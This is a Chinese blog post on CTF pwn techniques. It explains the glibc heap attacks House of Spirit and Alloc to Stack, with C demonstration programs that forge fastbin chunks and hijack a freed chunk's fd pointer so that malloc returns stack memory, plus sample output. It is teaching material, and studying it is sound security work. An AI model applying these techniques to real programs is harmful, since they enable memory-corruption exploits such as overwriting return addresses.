美文网首页CTF-PWN
House Of Spirit&Alloc to Sta

House Of Spirit&Alloc to Sta

作者: HAPPYers | 来源:发表于2019-04-25 19:17 被阅读3次

    House Of Spirit

    House of Spirit 是 the Malloc Maleficarum 中的一种技术。

    该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

    要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

    • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
    • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
    • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
    • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
    • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。
      至于为什么要绕过这些检测,可以参考 free 部分的源码。

    演示

    此处用fake_chunks数组来模拟堆块的结构内容。

    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
        fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
    
        fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
        malloc(1);
    
        fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
        unsigned long long *a;
        // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
        unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
    
        fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);
    
        fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
        fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
        fake_chunks[1] = 0x40; // this is the size
    
        fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
            // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
        fake_chunks[9] = 0x1234; // nextsize
    
        fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
        fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
        a = &fake_chunks[2];
    
        fprintf(stderr, "Freeing the overwritten pointer.\n");
        free(a);
    
        fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
        fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
    }
    

    运行效果

    ./spirit 
    This file demonstrates the house of spirit attack.
    Calling malloc() once so that it sets up its memory.
    We will now overwrite a pointer to point to a fake 'fastbin' region.
    This region (memory of length: 80) contains two chunks. The first starts at 0x7ffc94a60c88 and the second at 0x7ffc94a60cb8.
    This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
    ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
    The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
    Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc94a60c88.
    ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
    Freeing the overwritten pointer.
    Now the next malloc will return the region of our fake chunk at 0x7ffc94a60c88, which will be 0x7ffc94a60c90!
    malloc(0x30): 0x7ffc94a60c90
    
    

    小结

    可以看出,想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。

    Alloc to Stack

    介绍

    如果你已经理解了前文所讲的 Fastbin Double Free 与 house of spirit 技术,那么理解该技术就已经不成问题了,它们的本质都在于 fastbin 链表的特性:当前 chunk 的 fd 指针指向下一个 chunk。

    该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

    演示

    这次我们把 fake_chunk 置于栈中称为 stack_chunk,同时劫持了 fastbin 链表中 chunk 的 fd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。

    typedef struct _chunk
    {
        long long pre_size;
        long long size;
        long long fd;
        long long bk;
    } CHUNK,*PCHUNK;
    
    int main(void)
    {
        CHUNK stack_chunk;
    
        void *chunk1;
        void *chunk_a;
    
        stack_chunk.size=0x21;
        chunk1=malloc(0x10);
    
        free(chunk1);
    
        *(long long *)chunk1=&stack_chunk;
        malloc(0x10);
        chunk_a=malloc(0x10);
        return 0;
    }
    

    相关文章

      网友评论

        本文标题:House Of Spirit&Alloc to Sta

        本文链接:https://www.haomeiwen.com/subject/frcogqtx.html